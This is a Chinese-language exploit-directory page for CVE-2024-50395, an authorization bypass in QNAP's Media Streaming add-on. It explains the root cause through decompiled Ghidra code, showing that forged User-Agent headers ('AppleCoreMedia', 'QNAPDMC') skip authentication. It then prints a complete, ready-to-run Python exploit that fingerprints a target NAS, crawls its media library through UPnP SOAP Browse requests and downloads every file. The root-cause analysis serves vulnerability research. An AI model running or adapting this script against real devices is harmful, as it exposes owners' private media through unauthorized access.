Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-50395 — Python 针对 CVE-2024-50395 的漏洞利用程序,该漏洞是 QNAP Media Streaming 附加组件中的授权绕过漏洞。利用精心构造的 User-Agent 头绕过身份验证,并通过 UPnP SOAP 请求浏览/下载媒体文件。 | Kitploit
工具/GitHubGitHub/neko-hat/cve-2024-50395
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubneko-hat/cve-2024-50395

CVE-2024-50395

Python 针对 CVE-2024-50395 的漏洞利用程序,该漏洞是 QNAP Media Streaming 附加组件中的授权绕过漏洞。利用精心构造的 User-Agent 头绕过身份验证,并通过 UPnP SOAP 请求浏览/下载媒体文件。

查看仓库
211年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-50395

CVE 信息

据报道,一个通过用户控制密钥导致的授权绕过漏洞会影响 Media Streaming 附加组件。如果被利用,该漏洞可能允许本地网络攻击者提升权限。我们已在以下版本中修复该漏洞:Media Streaming add-on 500.1.1.6(2024/08/02)及更高版本。

PoC GIF

PoC.gif

根因

GET 方法授权绕过

Ghidra 中的函数 FUN_001293f0(在原始源代码中可能名为 ParseHttpHeaders 函数)解析客户端请求中的 http 头数据。

该函数还会解析“User-Agent”并获取其值。

root@kitploit:~
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
  pcVar6 = strstr((char *)__s,"Twonky");
  if ((pcVar6 == (char *)0x0) &&
     (pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
    if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
       (lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
       lVar14 != 0)) {
      ppuVar10 = __ctype_b_loc();
      do {
        puVar9 = puVar9 + 1;
      } while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
               0x20) != 0);
      lVar11 = 0;
      pcVar6 = *(char **)(client_type_patterns + 8);
      lVar14 = client_type_patterns;
      lVar18 = client_type_patterns;
      while (pcVar6 != (char *)0x0) {
        if (*(int *)(lVar14 + 0x10) == 1) {
          if (*(int *)(lVar14 + 0x14) == 0) {
            lVar14 = strstrc(puVar9,pcVar6,0xd);
            lVar18 = client_type_patterns;
            if (lVar14 != 0) {
              pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
              puVar20 = (undefined *)0x0;
              uVar22 = 5;
              local_138 = *(int *)(client_type_patterns + lVar11);
              lVar12 = (longlong)local_138;
              uVar15 = 0x204;
              local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                                   0x10);
              goto LAB_00129ab1;
            }
          }

此时,如果“User-Agent”的值为“AppleCoreMedia”,将执行以下代码。

root@kitploit:~
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
  if (*(int *)(lVar14 + 0x10) == 1) {
    if (*(int *)(lVar14 + 0x14) == 0) {
      lVar14 = strstrc(puVar9,pcVar6,0xd);
      lVar18 = client_type_patterns;
      if (lVar14 != 0) {
        pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
        puVar20 = (undefined *)0x0;
        uVar22 = 5;
        local_138 = *(int *)(client_type_patterns + lVar11);
        lVar12 = (longlong)local_138;
        uVar15 = 0x204;
        local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                             0x10);
        goto LAB_00129ab1;
      }
    }

然后跳转到 LAB_00129aba1

root@kitploit:~
LAB_00129ab1:
                      myDebugUtilWrapperPrint
                                (uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
                                 ,lVar12);
LAB_00129abb:
                      lVar14 = *(long *)(param_1 + 0x20);
                      uVar8 = (ulong)*(uint *)(param_1 + 0x30);
                    }

然后,执行以下代码

root@kitploit:~
LAB_00129627:
        for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
        }
        __s = __s + 2;
      } while (__s < (uchar *)((int)uVar8 + lVar14));
    }
    if (local_138 < 0) {
      local_138 = g_DefaultClientTypeId;
    }
  }
  iVar4 = local_138;
  pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
  myDebugUtilWrapperPrint
            (5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
             "finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
  local_174 = local_174 | *(uint *)(param_1 + 0x88);
  *(int *)(param_1 + 0x38) = local_138;
  bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
  ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
  bVar26 = ppbVar17 == (byte **)0x0;
  *(uint *)(param_1 + 0x88) = local_174;
  lVar14 = 8;
  *(uint *)(param_1 + 0xa4) = local_130;
  *(int *)(param_1 + 0xa8) = local_13c;
  *(int *)(param_1 + 0xac) = local_134;
  pbVar19 = *ppbVar17;
  pbVar21 = (byte *)"AppleTV";
  /*
  omited...
  */
  
  uVar15 = 0;
  if ((local_174 & 0x100) == 0) goto LAB_001298c4;

重点关注这行代码:uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;

如果 User-Agent 的值为“AppleCoreMedia”,那么这行代码可能会被执行。

因此,函数 FUN_001293f0 返回值为 0。

该函数在 FUN_001411f0 中被调用,运行****类似一个路由函数,当返回值为 0 时,FUN_001411f0 不会执行任何发送 http 401 错误码(“Deny Access”)的函数。

(函数 FUN_001411f0 在原始源代码中可能名为 ProcessHTTPSubscribe。)

POST 方法

客户端类型“QNAPDMC”在函数“InsertQNAPClientType”中初始化。(该函数在 main 中被调用。)

在该函数中,变量 g_QNAPDMCClientTypeId 被初始化。

当客户端使用 http POST 方法时,主要的处理函数是 FUN_0012ee50。

root@kitploit:~
  uVar21 = 1;
  myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
  ;
                    /* DAT_001690a2 is "POST" */
  lVar11 = 5;
  pbVar13 = &DAT_001690a2;
  pbVar14 = local_298;
  do {
    if (lVar11 == 0) break;
    lVar11 = lVar11 + -1;
    uVar19 = *pbVar13 < *pbVar14;
    uVar21 = *pbVar13 == *pbVar14;
    pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
    pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
  } while ((bool)uVar21);
  if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
    param_1[0xd] = 2;
    FUN_0012ee50(param_1);
    goto exit;
  }

如果请求头中包含“Soapaction”,则执行函数 ExecuteSoapAction。

(*(long *)(param_1 + 0x10) 的值是在 FUN_001293f0 中设置的)

root@kitploit:~
  if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
    param_1[3] = 1;
    return (ulong)(param_1[10] - param_1[0xc]);
  }
  if (*(long *)(param_1 + 0x10) != 0) {
    uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
    return uVar2;
  }

在 ExecuteSoapAction 中,如果 (*(int *)(param_1 + 0x38) 与 g_QNAPDMCClientTypeId 相同,我们就可以绕过授权。

root@kitploit:~
  if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
    if (n_lan_addr < 1) {
LAB_0014a27f:
      pcVar6 = "Deny Access";
      goto LAB_0014a3dd;
    }
    if (DAT_00398a90 != *(int *)(param_1 + 4)) {
      puVar3 = &lan_addr;
      do {
        if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
        piVar1 = (int *)(puVar3 + 0x2c);
        puVar3 = puVar3 + 0x1c;
      } while (*piVar1 != *(int *)(param_1 + 4));
    }
  }
  pcVar6 = strchr(param_2,0x23);

变量 (*(int *)(param_1 + 0x38) 在 FUN_001293f0 中通过“User-Agent”初始化。

因此,我们可以使用请求头“User-Agent: AppleCoreMedia, User-Agent: QNAPDMC”绕过授权。

漏洞利用

root@kitploit:~
#!/usr/bin/python3
# POC.py

import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse

from xml.dom.minidom import parseString
#from tqdm import tqdm

log = lambda x: print("\033[31m[+]" + "\033[37m"+x)

HOST = 'http://{0}:{1}'

session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}

def makedirs(path):
    if not os.path.exists(path):
        os.makedirs(path)

#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
    res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
    obj = parseString(html.unescape(res.text))
    
    NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
    MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
    VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
    
    log(f"TARGET NAME: {NAME}")
    log(f"TARGET MODEL: {MODEL}")
    log(f"TARGET QTS VERSION: {VERSION}")

#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
    header = auth_post_bypass_header.copy()

    header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
    
    pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
    pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
    pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
    pay += """<ObjectID>{1}</ObjectID>"""
    pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
    pay += """</u:Browse></s:Body></s:Envelope>"""
    
    res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
    obj = parseString(html.unescape(res.text))
    element = obj.getElementsByTagName('container')
    
    keys1 = {}
    for ee in element:
        dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
        log(f"FIND: {dir_name}")
        keys1[dir_name] = ee.getAttribute("id")
        

    keys2 = []

    for k,v in keys1.items():
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        
        for ee in element:
            dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {dir_name}")
            keys2.append([v, dir_name, ee.getAttribute("id")])
    keys3 = []

    for k in keys2:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))

        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            keys3.append([v, file_name, ee.getAttribute("id")])

    keys4 = []
    deps_key = []

    for k in keys3:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        element2 = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

        for ee in element2:
            deps_key.append(ee.getAttribute("id"))

    for k in deps_key:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

    makedirs('./Downloaded')

    for k in keys4:
        if "Transcode" in k[-2]:
            k[-2] = k[-2].replace("Transcode", "MediaItems")

    RETRY = []
    for k in keys4:
        URL = k[-2]
        res = sess.get(url=URL, headers=auth_bypass_header)
        if len(res.content) <= 0:
            RETRY.append([k[1]+k[-1], k[-2]])
            log(f'FAILED: {k[1]+k[-1]}')
            continue
        
        with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
            f.write(res.content)
        log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
    
    for rr in RETRY:
        res = sess.head(url=rr[1], headers=auth_bypass_header)
        print(rr[1])
      

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='')

    parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
    parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')

    args = parser.parse_args()

    HOST = HOST.format(args.target, args.port)
    
    get_rootDesc(session)
    exploit(session)
下载工具